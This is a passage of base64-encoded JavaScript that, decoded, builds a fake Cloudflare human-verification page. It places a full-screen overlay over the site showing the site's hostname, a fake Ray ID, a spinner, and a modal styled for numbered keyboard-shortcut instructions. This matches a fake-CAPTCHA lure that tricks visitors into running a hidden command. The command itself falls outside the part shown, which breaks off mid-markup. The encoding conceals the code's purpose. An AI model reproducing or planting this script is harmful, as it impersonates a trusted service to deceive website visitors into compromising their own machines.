mltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKENMT1VERkxBUkVfRlVMTF9MT0dPX1NWRyk7DQogICAgICAgIHZhciBDTE9VREZMQVJFX1dISVRFX0xPR09fQkFTRTY0ID0gJ2RhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsJyArIGJ0b2EoDQogICAgICAgICAgICBDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcucmVwbGFjZSgnLmR7ZmlsbDonICsgKElTX0xJR0hUX01PREUgPyAnIzQwNDA0MScgOiAnI2ZmZicpICsgJ30nLCAnLmR7ZmlsbDojZmZmfScpDQogICAgICAgICk7DQoNCiAgICAgICAgdmFyIERJU1BMQVlfSE9TVE5BTUUgPSBDVVNUT01fRE9NQUlOIHx8ICh3aW5kb3cubG9jYXRpb24gJiYgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lKSB8fCAnY2xvdWRmbGFyZS5jb20nOw0KICAgICAgICB2YXIgUkFZX1RSQUNLSU5HX0lEID0gJ2Q4ZmMyNmZiM2M4YWU0OWEnOw0KDQogICAgICAgIHZhciBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgICAgICBzdHlsZUVsZW1lbnQuaWQgPSAnYnctY2Ytc3R5bGUnOw0KDQogICAgICAgIHN0eWxlRWxlbWVudC50ZXh0Q29udGVudCA9ICcjYnctY2Ytcm9vdHtwb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7cmlnaHQ6MCAhaW1wb3J0YW50O2JvdHRvbTowICFpbXBvcnRhbnQ7d2lkdGg6MTAwdncgIWltcG9ydGFudDtoZWlnaHQ6MTAwdmggIWltcG9ydGFudDttaW4td2lkdGg6MTAwdncgIWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoICFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUgIWltcG9ydGFudDttYXgtaGVpZ2h0Om5vbmUgIWltcG9ydGFudDttYXJnaW46MCAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCAhaW1wb3J0YW50O3RyYW5zZm9ybTpub25lICFpbXBvcnRhbnQ7ei1pbmRleDoyMTQ3NDgzNjQ3ICFpbXBvcnRhbnQ7YmFja2dyb3VuZDojMjIyO2NvbG9yOiNkOWQ5ZDk7b3ZlcmZsb3c6YXV0bztmb250LWZhbWlseTpzeXN0ZW0tdWksLWFwcGxlLXN5c3RlbSwiU2Vnb2UgVUkiLFJvYm90byxBcmlhbCxzYW5zLXNlcmlmICFpbXBvcnRhbnQ7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O2ZvbnQtc2l6ZToxNnB4ICFpbXBvcnRhbnQ7bGluZS1oZWlnaHQ6MS41O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O3VuaWNvZGUtYmlkaTppc29sYXRlICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290ICp7Ym94LXNpemluZzpib3JkZXItYm94ICFpbXBvcnRhbnQ7bWFyZ2luOjA7cGFkZGluZzowO30nKycjYnctY2Ytcm9vdCAubWFpbi1jb250ZW50e21hcmdpbjo4ZW0gYXV0bztwYWRkaW5nOjAgMS41ZW07bWF4LXdpZHRoOjYwZW07d2lkdGg6MTAwJTt9JysnI2J3LWNmLXJvb3QgLmgxe2xpbmUtaGVpZ2h0OjEuNDtmb250LXNpemU6Mi41ZW07Zm9udC13ZWlnaHQ6NTAwO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjAuNzVlbTtjb2xvcjojZmZmO30nKycjYnctY2Ytcm9vdCAuaDJ7bGluZS1oZWlnaHQ6MS41O2ZvbnQtc2l6ZToxLjVlbTtmb250LXdlaWdodDo0MDA7Y29sb3I6I2QxZDFkMTttYXJnaW4tdG9wOjAuM2VtO30nKycjYnctY2Ytcm9vdCAuaGVhZGluZy1mYXZpY29ue2hlaWdodDoxZW07d2lkdGg6YXV0bzt9JysnI2J3LWNmLXJvb3QgLmNvcmUtbXNne2xpbmUtaGVpZ2h0OjEuNjtmb250LXNpemU6MS41ZW07Zm9udC13ZWlnaHQ6NDAwO2NvbG9yOiNkMWQxZDE7bWFyZ2luLXRvcDoyLjVlbTt9JysnI2J3LWNmLXJvb3QgLndpZGdldC1zcGFjZXJ7bWFyZ2luOjIuNWVtIDA7fScrJyNidy1jZi1yb290IC5jaGVja2JveC13aW5kb3d7Ym94LXNpemluZzpib3JkZXItYm94O2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47YWxpZ24taXRlbXM6c3RyZXRjaDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2JvcmRlcjoxcHggc29saWQgIzc5Nzk3OTtiYWNrZ3JvdW5kLWNvbG9yOiMyMzIzMjM7aGVpZ2h0Ojc4cHg7dXNlci1zZWxlY3Q6bm9uZTtwYWRkaW5nOjAgMTZweDt3aWR0aDoxMDAlO21heC13aWR0aDozMjBweDtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjt3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NzhweDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjtnYXA6N3B4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLmNoZWNrYm94LWNvbnRhaW5lcnt3aWR0aDozMHB4O2ZsZXg6MCAwIDMwcHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3Bvc2l0aW9uOnJlbGF0aXZlO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3h7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXItcmFkaXVzOjNweDtib3JkZXI6MnB4IHNvbGlkICNkYWRhZGE7YmFja2dyb3VuZDojMjMyMzIzO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6YmxvY2s7b3V0bGluZTpub25lO3BhZGRpbmc6MDstd2Via2l0LWFwcGVhcmFuY2U6bm9uZTthcHBlYXJhbmNlOm5vbmU7dHJhbnNpdGlvbjpib3JkZXItY29sb3IgLjJzO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3g6aG92ZXJ7Ym9yZGVyLWNvbG9yOiNmYmFkNDE7fScrJyNidy1jZi1yb290IC50ZXR0eHtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO21pbi1oZWlnaHQ6MzBweDtmbGV4OjE7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAudGV0dHggcHttYXJnaW46MCAhaW1wb3J0YW50O2xpbmUtaGVpZ2h0OjE7Zm9udC1zaXplOjE0cHg7Y29sb3I6I2ZmZjtkaXJlY3Rpb246bHRyICFpbXBvcnRhbnQ7dGV4dC1hbGlnbjpsZWZ0ICFpbXBvcnRhbnQ7fScrJyNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGR7ZGlzcGxheTppbmxpbmUtZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW47dGV4dC1hbGlnbjpyaWdodDthbGlnbi1pdGVtczpmbGV4LWVuZDtmbGV4LXNocmluazowO30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIGltZ3t3aWR0aDo5MHB4O21hcmdpbi1ib3R0b206NHB4O30nKycjYnctY2Ytcm9vdCAuY2hlY2tib3gtcm93PmRpdjpsYXN0LWNoaWxkIHB7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO21hcmdpbjowICFpbXBvcnRhbnQ7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3Bpbm5lci13cmFwe2Rpc3BsYXk6bm9uZTt3aWR0aDozMnB4O2hlaWdodDozMnB4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO30nKycjYnctY2Ytcm9vdCAuY2std3JhcHtkaXNwbGF5Om5vbmU7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlcntwb3NpdGlvbjpmaXhlZDtib3R0b206MDtsZWZ0OjA7cmlnaHQ6MDtwYWRkaW5nOjFlbSAxLjVlbTt9JysnI2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6MWVtIDA7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOi43NWVtO30nKycjYnctY2Ytcm9vdCAucmN7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvd3twb3NpdGlvbjpmaXhlZCAhaW1wb3J0YW50O3RvcDowICFpbXBvcnRhbnQ7bGVmdDowICFpbXBvcnRhbnQ7d2lkdGg6MTAwJSAhaW1wb3J0YW50O2hlaWdodDoxMDAlICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC43KTtkaXNwbGF5Om5vbmU7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7ei1pbmRleDoyMTQ3NDgzNjQ4ICFpbXBvcnRhbnQ7b3BhY2l0eTowO3RyYW5zaXRpb246b3BhY2l0eSAuM3MsdmlzaWJpbGl0eSAuM3M7fScrJyNidy1jZi1yb290IC52ZXJpZnktd2luZG93LmFjdGl2ZXtkaXNwbGF5OmZsZXg7b3BhY2l0eToxO30nKycjYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiMyYjJiMmI7Ym9yZGVyLXJhZGl1czo4cHg7bWF4LXdpZHRoOjQyMHB4O3dpZHRoOjkwJTtvdmVyZmxvdzpoaWRkZW47dHJhbnNmb3JtOnNjYWxlKC45NSk7dHJhbnNpdGlvbjp0cmFuc2Zvcm0gLjNzO30nKycjYnctY2Ytcm9vdCAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgLm1vZGFsLWNvbnRlbnR7dHJhbnNmb3JtOnNjYWxlKDEpO30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVye2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLCNmMzgwMjAsI2U5YTMzZik7cGFkZGluZzoxcmVtIDEuNXJlbTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWhlYWRlciBoMntmb250LXNpemU6MWVtO21hcmdpbjowICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo2MDA7fScrJyNidy1jZi1yb290IC5tb2RhbC1oZWFkZXIgcHtmb250LXNpemU6Ljc1ZW07bWFyZ2luOi4xZW0gMCAwICFpbXBvcnRhbnQ7Y29sb3I6I2ZmZjtvcGFjaXR5Oi45O30nKycjYnctY2Ytcm9vdCAubW9kYWwtaGVhZGVyIGltZ3toZWlnaHQ6NDBweDt9JysnI2J3LWNmLXJvb3QgLm1vZGFsLWJvZHl7cGFkZGluZzoxLjI1ZW07ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuaW5zdHJ1Y3Rpb24tbGlzdHtsaXN0LXN0eWxlOm5vbmU7cGFkZGluZzowICFpbXBvcnRhbnQ7bWFyZ2luOjAgMCAxLjI1ZW0gIWltcG9ydGFudDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2dhcDowLjg1ZW07fScrJyNidy1jZi1yb290IC5pbnN0cnVjdGlvbi1saXN0IGxpe2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Z2FwOjFlbTtwYWRkaW5nOjFlbSAxLjFlbSAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7YmFja2dyb3VuZDpyZ2JhKDI1NSwyNTUsMjU1LC4wNyk7Ym9yZGVyLWxlZnQ6MnB4IHNvbGlkICNmMzgwMjA7ZGlyZWN0aW9uOmx0ciAhaW1wb3J0YW50O3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAuc3RlcC1sZWZ0e2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOi43NWVtO2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtYmFkZ2V7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3dpZHRoOjIycHg7aGVpZ2h0OjIycHg7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCNmMzgwMjAsI2U5YTMzZik7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo3MDA7Zm9udC1zaXplOjExcHg7Ym9yZGVyLXJhZGl1czo1MCU7ZmxleDowIDAgYXV0bzt9JysnI2J3LWNmLXJvb3QgLnN0ZXAtdGV4dHtjb2xvcjojZmZmO2ZvbnQtc2l6ZToxM3B4O30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZDpyZ2JhKDI0MywxMjgsMzIsLjIpO2NvbG9yOiNmNTkwNDA7cGFkZGluZzoycHggOHB4O2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnQ7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxMS41cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW46MCAycHg7Ym94LXNoYWRvdzpub25lO3RyYW5zaXRpb246YmFja2dyb3VuZCAuMTVzLGNvbG9yIC4xNXMsdHJhbnNmb3JtIC4xMnM7d2hpdGUtc3BhY2U6bm93cmFwO30nKycjYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuNDUpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojZmZiODcwO2JveC1zaGFkb3c6bm9uZTt0cmFuc2Zvcm06c2NhbGUoMC45NSk7fScrJyNidy1jZi1yb290IC5zdGVwLXRleHQgYntwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp2aXNpYmxlO30nKycjYnctY2Ytcm9vdCAud2staGludHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTdweDtyaWdodDotOXB4O3dpZHRoOjE0cHg7aGVpZ2h0OjE0cHg7YmFja2dyb3VuZDpyZ2JhKDgzLDE1NSwyNDUsLjg1KTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NTAlO2ZvbnQtc2l6ZTo4LjVweDtjdXJzb3I6aGVscDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Zm9udC13ZWlnaHQ6ODAwO2ZvbnQtZmFtaWx5OnN5c3RlbS11aSxzYW5zLXNlcmlmO2xpbmUtaGVpZ2h0OjE7ei1pbmRleDozO2JvcmRlcjoxcHggc29saWQgcmdiYSg4MywxNTUsMjQ1LC40KTtsZXR0ZXItc3BhY2luZzowO30nKycjYnctY2Ytcm9vdCAud2stdG9vbHRpcHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7dG9wOmNhbGMoMTAwJSArIDZweCk7bGVmdDowO2JhY2tncm91bmQ6IzEzMWMzNTtjb2xvcjojYzhkNmY4O2JvcmRlcjoxcHggc29saWQgcmdiYSg5MCwxMzcsMjI2LC4zNSk7Ym9yZGVyLXJhZGl1czo3cHg7cGFkZGluZzo4cHggMTFweDtmb250LXNpemU6MTEuNXB4O3doaXRlLXNwYWNlOm5vcm1hbDt3aWR0aDoyMThweDt6LWluZGV4OjIwO3BvaW50ZXItZXZlbnRzOm5vbmU7Zm9udC1mYW1pbHk6c3lzdGVtLXVpLHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6NDAwO2JveC1zaGFkb3c6MCA2cHggMThweCByZ2JhKDAsMCwwLC41KTtsaW5lLWhlaWdodDoxLjQ1O2ZvbnQtc3R5bGU6bm9ybWFsO2xldHRlci1zcGFjaW5nOjA7fScrJyNidy1jZi1yb290IC53ay1oaW50OmhvdmVyIC53ay10b29sdGlwe2Rpc3BsYXk6YmxvY2s7fScrJyNidy1jZi1yb290IC5rZXktY29tYm97ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NHB4O2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMik7cGFkZGluZzozcHggNnB4O2JvcmRlci1yYWRpdXM6NHB4O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDt9JysnI2J3LWNmLXJvb3Qga2Jke2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7bWluLXdpZHRoOjI2cHg7aGVpZ2h0OjI2cHg7cGFkZGluZzowIDVweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxNDVkZWcsIzJkMmQyZCwjMWExYTFhKTtib3JkZXI6MXB4IHNvbGlkICM0NDQ7Ym9yZGVyLXJhZGl1czo0cHg7Ym94LXNoYWRvdzowIDFweCAwICMwYTBhMGE7Y29sb3I6I2ZmZjtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjExcHg7Zm9udC13ZWlnaHQ6NjAwO3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmtleS1jb21ibyAucGx1c3tjb2xvcjojODg4O2ZvbnQtc2l6ZToxMnB4O30nKycjYnctY2Ytcm9vdCAua2V5LWNvbWJvIC5oaW50e2NvbG9yOiNmMzgwMjA7Zm9udC1zaXplOjE0cHg7bWFyZ2luLWxlZnQ6MnB4O30nKydAbWVkaWEocHJlZmVycy1jb2xvci1zY2hlbWU6bGlnaHQpeyNidy1jZi1yb290e2JhY2tncm91bmQ6I2ZmZiAhaW1wb3J0YW50O2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5oMXtjb2xvcjojMTExO30jYnctY2Ytcm9vdCAuY29yZS1tc2d7Y29sb3I6IzQ0NDt9I2J3LWNmLXJvb3QgLmZvb3Rlci1pbm5lcntib3JkZXItdG9wLWNvbG9yOiNkZGQ7Y29sb3I6Izc3Nzt9I2J3LWNmLXJvb3QgLmNoZWNrYm94LXdpbmRvd3tib3JkZXItY29sb3I6I2QxZDFkMTtiYWNrZ3JvdW5kLWNvbG9yOiNmOWY5Zjk7fSNidy1jZi1yb290IC5jaGVja2JveHtib3JkZXItY29sb3I6I2FhYTtiYWNrZ3JvdW5kOiNlZWU7fSNidy1jZi1yb290IC50ZXR0eCBwe2NvbG9yOiMxMTE7fSNidy1jZi1yb290IC5jaGVja2JveC1yb3c+ZGl2Omxhc3QtY2hpbGQgcHtjb2xvcjojNTU1O30jYnctY2Ytcm9vdCAubW9kYWwtY29udGVudHtiYWNrZ3JvdW5kOiNmZmY7fSNidy1jZi1yb290IC5zdGVwLXRleHR7Y29sb3I6IzIyMjt9I2J3LWNmLXJvb3QgLnN0ZXAtdGV4dCBie2JhY2tncm91bmQ6cmdiYSgyNDMsMTI4LDMyLC4xNSk7Y29sb3I6I2IwNTUwMDtib3JkZXItY29sb3I6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzpub25lO30jYnctY2Ytcm9vdCAuc3RlcC10ZXh0IGIua2xpdHtiYWNrZ3JvdW5kOnJnYmEoMjQzLDEyOCwzMiwuMzIpO2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtjb2xvcjojOTA0MDAwO2JveC1zaGFkb3c6bm9uZTt9I2J3LWNmLXJvb3QgLmluc3RydWN0aW9uLWxpc3QgbGl7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4wNCk7fSNidy1jZi1yb290IC53ay1oaW50e2JhY2tncm91bmQ6cmdiYSgzMCw3NCwxODQsLjgpO2JvcmRlci1jb2xvcjpyZ2JhKDMwLDc0LDE4NCwuNCk7fSNidy1jZi1yb290IC53ay10b29sdGlwe2JhY2tncm91bmQ6I2VlZjJmZjtjb2xvcjojMWUzYThhO2JvcmRlci1jb2xvcjpyZ2JhKDYxLDEwNywxOTEsLjM1KTtib3gtc2hhZG93OjAgNHB4IDEycHggcmdiYSgwLDAsMCwuMSk7fX0nKycjYnctY2Ytcm9vdCAudGVybS1jaGlwe2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxMzVkZWcsI2YzODAyMCwjZTlhMzNmKTtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NXB4O2ZvbnQtc2l6ZTouOGVtO2ZvbnQtd2VpZ2h0OjcwMDtwYWRkaW5nOjJweCA3cHg7bWFyZ2luLWxlZnQ6NXB4O3doaXRlLXNwYWNlOm5vd3JhcDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlcntkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmNlbnRlcjtwYWRkaW5nOi43NWVtIDAgMS4yNWVtO30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyIHN2Z3t3aWR0aDo3MnB4O2hlaWdodDphdXRvO21hcmdpbi1ib3R0b206MTBweDt9JysnI2J3LWNmLXJvb3QgLmNmLWxvYWRlci1iYXJ7d2lkdGg6MTE2cHg7aGVpZ2h0OjRweDtiYWNrZ3JvdW5kOiNlNWU1ZTU7Ym9yZGVyLXJhZGl1czoycHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi10b3A6NHB4O30nKycjYnctY2Ytcm9vdCAuY2YtbG9hZGVyLWJhci1pbm5lcnt3aWR0aDoyNSU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdHJhbnNwYXJlbnQsI2Y3ODEwMCA0NSUsI2Y3ODEwMCA1NSUsdHJhbnNwYXJlbnQpO2JvcmRlci1yYWRpdXM6MnB4O2FuaW1hdGlvbjpjZkxvYWRCYXIgMS41cyBlYXNlLWluLW91dCBpbmZpbml0ZTt9JysnQGtleWZyYW1lcyBjZkxvYWRCYXJ7MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwMCUpfTUwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCg0MDAlKX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMDAlKX19JysnQGtleWZyYW1lcyBid0NmU3BpbnswJXt0cmFuc2Zvcm06cm90YXRlKDBkZWcpO30xMDAle3RyYW5zZm9ybTpyb3RhdGUoMzYwZGVnKTt9fScrJ0BrZXlmcmFtZXMgYndDZlB1bHNlezAlLDEwMCV7b3BhY2l0eToxO301MCV7b3BhY2l0eTouNTt9fSc7DQogICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KICAgICAgICB2YXIgcm9vdEVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsNCiAgICAgICAgcm9vdEVsZW1lbnQuaWQgPSAnYnctY2Ytcm9vdCc7DQogICAgICAgIHJvb3RFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGlyJywgJ2x0cicpOw0KICAgICAgICByb290RWxlbWVudC5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmZpeGVkIWltcG9ydGFudDt0b3A6MCFpbXBvcnRhbnQ7bGVmdDowIWltcG9ydGFudDtyaWdodDowIWltcG9ydGFudDtib3R0b206MCFpbXBvcnRhbnQ7d2lkdGg6MTAwdnchaW1wb3J0YW50O2hlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWluLXdpZHRoOjEwMHZ3IWltcG9ydGFudDttaW4taGVpZ2h0OjEwMHZoIWltcG9ydGFudDttYXgtd2lkdGg6bm9uZSFpbXBvcnRhbnQ7bWF4LWhlaWdodDpub25lIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt6LWluZGV4OjIxNDc0ODM2NDchaW1wb3J0YW50O2JveC1zaXppbmc6Ym9yZGVyLWJveCFpbXBvcnRhbnQ7dHJhbnNmb3JtOm5vbmUhaW1wb3J0YW50Oyc7DQogICAgICAgIHJvb3RFbGVtZW50LmlubmVySFRNTCA9IGANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCI+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoMSI+DQogICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIke0NMT1VERkxBUkVfRlVMTF9MT0dPX0JBU0U2NH0iIGNsYXNzPSJoZWFkaW5nLWZhdmljb24iIGFsdD0iQ2xvdWRmbGFyZSI+DQogICAgICAgICAgICAgICAgICAgIDxzcGFuPiR7RElTUExBWV9IT1NUTkFNRX08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aWRnZXQtc3BhY2VyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtd2luZG93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNoZWNrYm94LXJvdyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJjaGVja2JveCIgaWQ9ImNmLWNiIiBzdHlsZT0iZGlzcGxheTpub25lIj48L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3Bpbm5lci13cmFwIiBpZD0iY2Ytc3AiIHN0eWxlPSJkaXNwbGF5OmZsZXgiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHZpZXdCb3g9IjAgMCAzMCAzMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHN0eWxlPSJhbmltYXRpb246YndDZlNwaW4gMS42cyBsaW5lYXIgaW5maW5pdGU7ZGlzcGxheTpibG9jazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iNCIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIxIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNpcmNsZSBjeD0iMjIuNzgiIGN5PSI3LjIyIiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii44NzUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSIyNiIgY3k9IjE1IiByPSIyLjIiIGZpbGw9IiMyMjhiNDkiIG9wYWNpdHk9Ii43NSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjIyLjc4IiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjYyNSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjE1IiBjeT0iMjYiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iMjIuNzgiIHI9IjIuMiIgZmlsbD0iIzIyOGI0OSIgb3BhY2l0eT0iLjM3NSIvPg0KICAg